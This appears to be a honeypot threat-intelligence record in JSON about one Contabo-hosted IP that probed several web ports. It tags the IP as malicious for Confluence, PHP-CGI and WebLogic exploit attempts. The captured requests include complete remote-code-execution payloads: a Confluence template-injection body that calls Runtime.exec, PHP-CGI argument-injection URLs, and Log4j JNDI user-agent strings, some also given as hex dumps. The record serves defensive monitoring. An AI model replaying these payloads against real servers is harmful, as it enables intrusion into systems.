{"ip":"45.159.230.92","total_events":358,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"5 exploit-path hits","confidence":"high","network_type":"CDN","why":["5 request(s) matched a known exploit path.","Body-carrying methods (POST/PUT/PATCH/DELETE) seen: payload delivery, not just recon.","5+ hits raise confidence to high.","Not in any known-scanner range.","Sent 165,588 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"165,588 bytes sent","bytes_sent":165588,"session_seconds":0,"persistent":false}},"first_seen":"2026-08-29T21:36:53","last_seen":"2026-08-29T21:40:31","events_24h":0,"events_7d":0,"geo":{"country_code":"DE","country_name":"Germany","region":"Baden-Wurttemberg","city":"Karlsruhe","lat":48.9999,"lon":8.3732,"asn":51167,"org":"Contabo GmbH"},"source_domain":"vmi2642377.contaboserver.net","known_scanners":[],"scanner_tag":{"key":"contabo","label":"Contabo","category":"hosting_provider","url":"https://contabo.com/"},"cve_matches":[{"cve_id":"CVE-2023-22527","title":"Atlassian Confluence - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/template/aui/text-inline.vm"},{"cve_id":"CVE-2024-4577","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe"},{"cve_id":"CVE-2020-14883","title":"Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/console/images/%252e%252e%252fconsole.portal"}],"malware":[],"top_ports":[{"port":80,"proto":"tcp","label":"HTTP","count":44},{"port":443,"proto":"tcp","label":"HTTPS","count":44},{"port":8443,"proto":"tcp","label":"HTTPS-alt","count":42},{"port":8000,"proto":"tcp","label":"HTTP-alt","count":42},{"port":8090,"proto":"tcp","label":"","count":42},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":42},{"port":7002,"proto":"tcp","label":"","count":34},{"port":7001,"proto":"tcp","label":"WebLogic","count":34},{"port":3000,"proto":"tcp","label":"Web-alt","count":32},{"port":61616,"proto":"tcp","label":"ActiveMQ","count":2}],"fingerprints":{"ssh_hassh":[],"tls_ja4":["t13i301100_1d37bd780c83_ecd0401ec68b"],"tls_ja3":["2617ff3a2d7f879546f0aac7afc5f15c"],"ja4h":["ge11nn0400_8fd06a127c33","po11nn0700_48f1c6c6d7f5","ge11nn0700_5b53eb54218c","po11nn0600_e2685917a2e8","po11nn0700_c042c098b859"]},"fingerprint_peers":{"t13i301100_1d37bd780c83_ecd0401ec68b":12,"ge11nn0400_8fd06a127c33":61,"po11nn0700_c042c098b859":8,"ge11nn0700_5b53eb54218c":1,"po11nn0600_e2685917a2e8":9,"po11nn0700_48f1c6c6d7f5":1},"user_agents":["${jndi:ldap://127.0.0.1/LOG4J_a724364e8a}","${jndi:ldap://127.0.0.1/LOG4J_90681f42fe}","${jndi:ldap://127.0.0.1/LOG4J_830376d188}","${jndi:ldap://127.0.0.1/LOG4J_d3b2cf2ed3}","Mozilla/5.0","${jndi:ldap://127.0.0.1/LOG4J_29dd11c66e}","${jndi:ldap://127.0.0.1/LOG4J_68e74e62f3}","${jndi:ldap://127.0.0.1/LOG4J_8ba05768e2}"],"timeline":[{"date":"2026-08-29","count":358}],"recent_events":[{"timestamp":"2026-08-29T21:40:31","port":8443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"identity\",\"connection\":\"close\",\"content-length\":\"312\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:8443\",\"user-agent\":\"Mozilla/5.0\"}","body":"label=aaa\\u0027%%2b#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.x,{})%%2b\\u0027&x=%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27echo%20CONF22527_00c963dd2e%27%29.getInputStream%28%29%2C%27utf-8%27%29","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/wiki/template/aui/text-inline.vm","summary":"","payload_hex":"504f5354202f77696b692f74656d706c6174652f6175692f746578742d696e6c696e652e766d20485454502f312e310d0a4163636570742d456e636f64696e673a206964656e746974790d0a436f6e74656e742d4c656e6774683a203331320d0a486f73743a20<HONEYPOT>3a383434330d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a6c6162656c3d6161615c75303032372525326223726571756573742e676574285c75303032372e4b45595f76656c6f636974792e737472757473322e636f6e746578745c7530303237292e696e7465726e616c476574285c75303032376f676e6c5c7530303237292e66696e6456616c75652823706172616d65746572732e782c7b7d29252532625c753030323726783d2534306f72672e6170616368652e636f6d6d6f6e732e696f2e494f5574696c73253430746f537472696e672532382534306a6176612e6c616e672e52756e74696d6525343067657452756e74696d652532382532392e657865632532382532376563686f253230434f4e4632323532375f303063393633646432652532372532392e676574496e70757453747265616d2532382532392532432532377574662d38253237253239","method":"POST","user_agent":"Mozilla/5.0","ja3":"2617ff3a2d7f879546f0aac7afc5f15c","session":"2db534e3-975f-49b2-ab23-fda21e40976e","seq":1,"duration_ms":100,"bytes_in":529,"bytes_out":78},{"timestamp":"2026-08-29T21:40:31","port":8443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"identity\",\"connection\":\"close\",\"content-length\":\"312\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:8443\",\"user-agent\":\"Mozilla/5.0\"}","body":"label=aaa\\u0027%%2b#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.x,{})%%2b\\u0027&x=%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27echo%20CONF22527_00c963dd2e%27%29.getInputStream%28%29%2C%27utf-8%27%29","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/template/aui/text-inline.vm","summary":"","payload_hex":"504f5354202f74656d706c6174652f6175692f746578742d696e6c696e652e766d20485454502f312e310d0a4163636570742d456e636f64696e673a206964656e746974790d0a436f6e74656e742d4c656e6774683a203331320d0a486f73743a20<HONEYPOT>3a383434330d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a6c6162656c3d6161615c75303032372525326223726571756573742e676574285c75303032372e4b45595f76656c6f636974792e737472757473322e636f6e746578745c7530303237292e696e7465726e616c476574285c75303032376f676e6c5c7530303237292e66696e6456616c75652823706172616d65746572732e782c7b7d29252532625c753030323726783d2534306f72672e6170616368652e636f6d6d6f6e732e696f2e494f5574696c73253430746f537472696e672532382534306a6176612e6c616e672e52756e74696d6525343067657452756e74696d652532382532392e657865632532382532376563686f253230434f4e4632323532375f303063393633646432652532372532392e676574496e70757453747265616d2532382532392532432532377574662d38253237253239","method":"POST","user_agent":"Mozilla/5.0","ja3":"2617ff3a2d7f879546f0aac7afc5f15c","session":"6e5129ec-616f-4974-8c10-2e963b41ef99","seq":1,"duration_ms":100,"bytes_in":524,"bytes_out":78},{"timestamp":"2026-08-29T21:40:31","port":8090,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"identity\",\"connection\":\"close\",\"content-length\":\"312\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:8090\",\"user-agent\":\"Mozilla/5.0\"}","body":"label=aaa\\u0027%%2b#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.x,{})%%2b\\u0027&x=%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27echo%20CONF22527_deefb981e0%27%29.getInputStream%28%29%2C%27utf-8%27%29","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/wiki/template/aui/text-inline.vm","summary":"","payload_hex":"504f5354202f77696b692f74656d706c6174652f6175692f746578742d696e6c696e652e766d20485454502f312e310d0a4163636570742d456e636f64696e673a206964656e746974790d0a436f6e74656e742d4c656e6774683a203331320d0a486f73743a20<HONEYPOT>3a383039300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a6c6162656c3d6161615c75303032372525326223726571756573742e676574285c75303032372e4b45595f76656c6f636974792e737472757473322e636f6e746578745c7530303237292e696e7465726e616c476574285c75303032376f676e6c5c7530303237292e66696e6456616c75652823706172616d65746572732e782c7b7d29252532625c753030323726783d2534306f72672e6170616368652e636f6d6d6f6e732e696f2e494f5574696c73253430746f537472696e672532382534306a6176612e6c616e672e52756e74696d6525343067657452756e74696d652532382532392e657865632532382532376563686f253230434f4e4632323532375f646565666239383165302532372532392e676574496e70757453747265616d2532382532392532432532377574662d38253237253239","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"f995600b-4a65-4957-894d-003a7533ff4b","seq":1,"duration_ms":100,"bytes_in":529,"bytes_out":78},{"timestamp":"2026-08-29T21:40:30","port":8090,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"identity\",\"connection\":\"close\",\"content-length\":\"312\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:8090\",\"user-agent\":\"Mozilla/5.0\"}","body":"label=aaa\\u0027%%2b#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.x,{})%%2b\\u0027&x=%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27echo%20CONF22527_deefb981e0%27%29.getInputStream%28%29%2C%27utf-8%27%29","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/template/aui/text-inline.vm","summary":"","payload_hex":"504f5354202f74656d706c6174652f6175692f746578742d696e6c696e652e766d20485454502f312e310d0a4163636570742d456e636f64696e673a206964656e746974790d0a436f6e74656e742d4c656e6774683a203331320d0a486f73743a20<HONEYPOT>3a383039300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a6c6162656c3d6161615c75303032372525326223726571756573742e676574285c75303032372e4b45595f76656c6f636974792e737472757473322e636f6e746578745c7530303237292e696e7465726e616c476574285c75303032376f676e6c5c7530303237292e66696e6456616c75652823706172616d65746572732e782c7b7d29252532625c753030323726783d2534306f72672e6170616368652e636f6d6d6f6e732e696f2e494f5574696c73253430746f537472696e672532382534306a6176612e6c616e672e52756e74696d6525343067657452756e74696d652532382532392e657865632532382532376563686f253230434f4e4632323532375f646565666239383165302532372532392e676574496e70757453747265616d2532382532392532432532377574662d38253237253239","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"174c155c-c22c-4e15-bb53-4dcfb11fde00","seq":1,"duration_ms":101,"bytes_in":524,"bytes_out":78},{"timestamp":"2026-08-29T21:40:30","port":8080,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"identity\",\"connection\":\"close\",\"content-length\":\"312\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:8080\",\"user-agent\":\"Mozilla/5.0\"}","body":"label=aaa\\u0027%%2b#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.x,{})%%2b\\u0027&x=%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27echo%20CONF22527_bcefffb36d%27%29.getInputStream%28%29%2C%27utf-8%27%29","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/wiki/template/aui/text-inline.vm","summary":"","payload_hex":"504f5354202f77696b692f74656d706c6174652f6175692f746578742d696e6c696e652e766d20485454502f312e310d0a4163636570742d456e636f64696e673a206964656e746974790d0a436f6e74656e742d4c656e6774683a203331320d0a486f73743a20<HONEYPOT>3a383038300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a6c6162656c3d6161615c75303032372525326223726571756573742e676574285c75303032372e4b45595f76656c6f636974792e737472757473322e636f6e746578745c7530303237292e696e7465726e616c476574285c75303032376f676e6c5c7530303237292e66696e6456616c75652823706172616d65746572732e782c7b7d29252532625c753030323726783d2534306f72672e6170616368652e636f6d6d6f6e732e696f2e494f5574696c73253430746f537472696e672532382534306a6176612e6c616e672e52756e74696d6525343067657452756e74696d652532382532392e657865632532382532376563686f253230434f4e4632323532375f626365666666623336642532372532392e676574496e70757453747265616d2532382532392532432532377574662d38253237253239","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"07af4067-9295-464f-93bd-97980cec8428","seq":1,"duration_ms":100,"bytes_in":529,"bytes_out":78},{"timestamp":"2026-08-29T21:40:30","port":8080,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"identity\",\"connection\":\"close\",\"content-length\":\"312\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:8080\",\"user-agent\":\"Mozilla/5.0\"}","body":"label=aaa\\u0027%%2b#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.x,{})%%2b\\u0027&x=%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27echo%20CONF22527_bcefffb36d%27%29.getInputStream%28%29%2C%27utf-8%27%29","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/template/aui/text-inline.vm","summary":"","payload_hex":"504f5354202f74656d706c6174652f6175692f746578742d696e6c696e652e766d20485454502f312e310d0a4163636570742d456e636f64696e673a206964656e746974790d0a436f6e74656e742d4c656e6774683a203331320d0a486f73743a20<HONEYPOT>3a383038300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a6c6162656c3d6161615c75303032372525326223726571756573742e676574285c75303032372e4b45595f76656c6f636974792e737472757473322e636f6e746578745c7530303237292e696e7465726e616c476574285c75303032376f676e6c5c7530303237292e66696e6456616c75652823706172616d65746572732e782c7b7d29252532625c753030323726783d2534306f72672e6170616368652e636f6d6d6f6e732e696f2e494f5574696c73253430746f537472696e672532382534306a6176612e6c616e672e52756e74696d6525343067657452756e74696d652532382532392e657865632532382532376563686f253230434f4e4632323532375f626365666666623336642532372532392e676574496e70757453747265616d2532382532392532432532377574662d38253237253239","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"b3a73ca9-7e6b-4a6c-8e3e-b3f221ea79b1","seq":1,"duration_ms":100,"bytes_in":524,"bytes_out":78},{"timestamp":"2026-08-29T21:40:29","port":8000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"identity\",\"connection\":\"close\",\"content-length\":\"312\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:8000\",\"user-agent\":\"Mozilla/5.0\"}","body":"label=aaa\\u0027%%2b#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.x,{})%%2b\\u0027&x=%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27echo%20CONF22527_88c390b259%27%29.getInputStream%28%29%2C%27utf-8%27%29","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/wiki/template/aui/text-inline.vm","summary":"","payload_hex":"504f5354202f77696b692f74656d706c6174652f6175692f746578742d696e6c696e652e766d20485454502f312e310d0a4163636570742d456e636f64696e673a206964656e746974790d0a436f6e74656e742d4c656e6774683a203331320d0a486f73743a20<HONEYPOT>3a383030300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a6c6162656c3d6161615c75303032372525326223726571756573742e676574285c75303032372e4b45595f76656c6f636974792e737472757473322e636f6e746578745c7530303237292e696e7465726e616c476574285c75303032376f676e6c5c7530303237292e66696e6456616c75652823706172616d65746572732e782c7b7d29252532625c753030323726783d2534306f72672e6170616368652e636f6d6d6f6e732e696f2e494f5574696c73253430746f537472696e672532382534306a6176612e6c616e672e52756e74696d6525343067657452756e74696d652532382532392e657865632532382532376563686f253230434f4e4632323532375f383863333930623235392532372532392e676574496e70757453747265616d2532382532392532432532377574662d38253237253239","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"45f2538c-e7f9-424b-a314-a545095852e8","seq":1,"duration_ms":100,"bytes_in":529,"bytes_out":78},{"timestamp":"2026-08-29T21:40:29","port":8000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"identity\",\"connection\":\"close\",\"content-length\":\"312\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:8000\",\"user-agent\":\"Mozilla/5.0\"}","body":"label=aaa\\u0027%%2b#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.x,{})%%2b\\u0027&x=%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27echo%20CONF22527_88c390b259%27%29.getInputStream%28%29%2C%27utf-8%27%29","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/template/aui/text-inline.vm","summary":"","payload_hex":"504f5354202f74656d706c6174652f6175692f746578742d696e6c696e652e766d20485454502f312e310d0a4163636570742d456e636f64696e673a206964656e746974790d0a436f6e74656e742d4c656e6774683a203331320d0a486f73743a20<HONEYPOT>3a383030300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a6c6162656c3d6161615c75303032372525326223726571756573742e676574285c75303032372e4b45595f76656c6f636974792e737472757473322e636f6e746578745c7530303237292e696e7465726e616c476574285c75303032376f676e6c5c7530303237292e66696e6456616c75652823706172616d65746572732e782c7b7d29252532625c753030323726783d2534306f72672e6170616368652e636f6d6d6f6e732e696f2e494f5574696c73253430746f537472696e672532382534306a6176612e6c616e672e52756e74696d6525343067657452756e74696d652532382532392e657865632532382532376563686f253230434f4e4632323532375f383863333930623235392532372532392e676574496e70757453747265616d2532382532392532432532377574662d38253237253239","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"d84f1398-2cf5-4df8-9908-e3506f3cd6a8","seq":1,"duration_ms":100,"bytes_in":524,"bytes_out":78},{"timestamp":"2026-08-29T21:40:29","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"identity\",\"connection\":\"close\",\"content-length\":\"312\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:443\",\"user-agent\":\"Mozilla/5.0\"}","body":"label=aaa\\u0027%%2b#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.x,{})%%2b\\u0027&x=%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27echo%20CONF22527_e13e9f94ca%27%29.getInputStream%28%29%2C%27utf-8%27%29","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/wiki/template/aui/text-inline.vm","summary":"","payload_hex":"504f5354202f77696b692f74656d706c6174652f6175692f746578742d696e6c696e652e766d20485454502f312e310d0a4163636570742d456e636f64696e673a206964656e746974790d0a436f6e74656e742d4c656e6774683a203331320d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a6c6162656c3d6161615c75303032372525326223726571756573742e676574285c75303032372e4b45595f76656c6f636974792e737472757473322e636f6e746578745c7530303237292e696e7465726e616c476574285c75303032376f676e6c5c7530303237292e66696e6456616c75652823706172616d65746572732e782c7b7d29252532625c753030323726783d2534306f72672e6170616368652e636f6d6d6f6e732e696f2e494f5574696c73253430746f537472696e672532382534306a6176612e6c616e672e52756e74696d6525343067657452756e74696d652532382532392e657865632532382532376563686f253230434f4e4632323532375f653133653966393463612532372532392e676574496e70757453747265616d2532382532392532432532377574662d38253237253239","method":"POST","user_agent":"Mozilla/5.0","ja3":"2617ff3a2d7f879546f0aac7afc5f15c","session":"a64bbe2e-3add-4d83-8a67-af6e1ca4bb74","seq":1,"duration_ms":100,"bytes_in":528,"bytes_out":78},{"timestamp":"2026-08-29T21:40:28","port":443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept-encoding\":\"identity\",\"connection\":\"close\",\"content-length\":\"312\",\"content-type\":\"application/x-www-form-urlencoded\",\"host\":\"<HONEYPOT>:443\",\"user-agent\":\"Mozilla/5.0\"}","body":"label=aaa\\u0027%%2b#request.get(\\u0027.KEY_velocity.struts2.context\\u0027).internalGet(\\u0027ognl\\u0027).findValue(#parameters.x,{})%%2b\\u0027&x=%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%27echo%20CONF22527_e13e9f94ca%27%29.getInputStream%28%29%2C%27utf-8%27%29","sni":"","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":[],"url_path":"/template/aui/text-inline.vm","summary":"","payload_hex":"504f5354202f74656d706c6174652f6175692f746578742d696e6c696e652e766d20485454502f312e310d0a4163636570742d456e636f64696e673a206964656e746974790d0a436f6e74656e742d4c656e6774683a203331320d0a486f73743a20<HONEYPOT>3a3434330d0a436f6e74656e742d547970653a206170706c69636174696f6e2f782d7777772d666f726d2d75726c656e636f6465640d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a6c6162656c3d6161615c75303032372525326223726571756573742e676574285c75303032372e4b45595f76656c6f636974792e737472757473322e636f6e746578745c7530303237292e696e7465726e616c476574285c75303032376f676e6c5c7530303237292e66696e6456616c75652823706172616d65746572732e782c7b7d29252532625c753030323726783d2534306f72672e6170616368652e636f6d6d6f6e732e696f2e494f5574696c73253430746f537472696e672532382534306a6176612e6c616e672e52756e74696d6525343067657452756e74696d652532382532392e657865632532382532376563686f253230434f4e4632323532375f653133653966393463612532372532392e676574496e70757453747265616d2532382532392532432532377574662d38253237253239","method":"POST","user_agent":"Mozilla/5.0","ja3":"2617ff3a2d7f879546f0aac7afc5f15c","session":"aa4856c8-bf95-4e80-964e-8e583128fd1e","seq":1,"duration_ms":100,"bytes_in":523,"bytes_out":78}],"http_methods":[{"method":"POST","count":314},{"method":"GET","count":42}],"distinct_ports_total":10,"top_paths":[{"path":"/","count":90,"ports":9},{"path":"/index.php","count":36,"ports":9},{"path":"/public/index.php","count":36,"ports":9},{"path":"/index.action","count":18,"ports":9},{"path":"/cacti/remote_agent.php","count":18,"ports":9},{"path":"/remote_agent.php","count":18,"ports":9},{"path":"/struts2-showcase/index.action","count":18,"ports":9},{"path":"/php-cgi/php-cgi.exe?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":18,"ports":9},{"path":"/index.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":18,"ports":9},{"path":"/?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input","count":18,"ports":9},{"path":"/wfs","count":12,"ports":6},{"path":"/geoserver/ows","count":12,"ports":6},{"path":"/geoserver/wfs","count":12,"ports":6},{"path":"/template/aui/text-inline.vm","count":12,"ports":6},{"path":"/wiki/template/aui/text-inline.vm","count":12,"ports":6}],"distinct_paths_total":16,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept-Encoding","Connection","Content-Length","Content-Type","Host","User-Agent"],"representative":[{"name":"Accept-Encoding","value":"identity","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"312","notable":false},{"name":"Content-Type","value":"application/x-www-form-urlencoded","notable":true},{"name":"Host","value":"<HONEYPOT>:8443","notable":false},{"name":"User-Agent","value":"Mozilla/5.0","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[{"tag_id":"CVE-2023-22527","tag_type":"cve","title":"Atlassian Confluence - Remote Code Execution","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/template/aui/text-inline.vm","reference_urls":["https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615","https://jira.atlassian.com/browse/CONFSERVER-93833","https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/","http://packetstormsecurity.com/files/176789/Atlassian-Confluence-SSTI-Injection.html","https://github.com/ramirezs4/Tips-and-tools-forensics---RS4"]},{"tag_id":"CVE-2024-4577","tag_type":"cve","title":"PHP CGI - Argument Injection","severity":"critical","actively_exploited":true,"match_field":"url_path","matched_pattern":"/php-cgi/php-cgi.exe","reference_urls":["https://s4e.io/tools/php-cgi-code-injection-cve-2024-4577","http://www.openwall.com/lists/oss-security/2024/06/07/1","https://blog.orange.tw/2024/06/cve-2024-4577-yet-another-php-rce.html","https://cert.be/en/advisory/warning-php-remote-code-execution-patch-immediately"]},{"tag_id":"CVE-2020-14883","tag_type":"cve","title":"Oracle Fusion Middleware WebLogic Server Administration Console - Remote Code Execution","severity":"high","actively_exploited":true,"match_field":"url_path","matched_pattern":"/console/images/%252e%252e%252fconsole.portal","reference_urls":["https://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html","https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14883","https://www.oracle.com/security-alerts/cpuoct2020.html","http://packetstormsecurity.com/files/160143/Oracle-WebLogic-Server-Administration-Console-Handle-Remote-Code-Execution.html","https://github.com/1n7erface/PocList"]}],"data_as_of":"2026-09-11T06:10:44.403731+00:00"}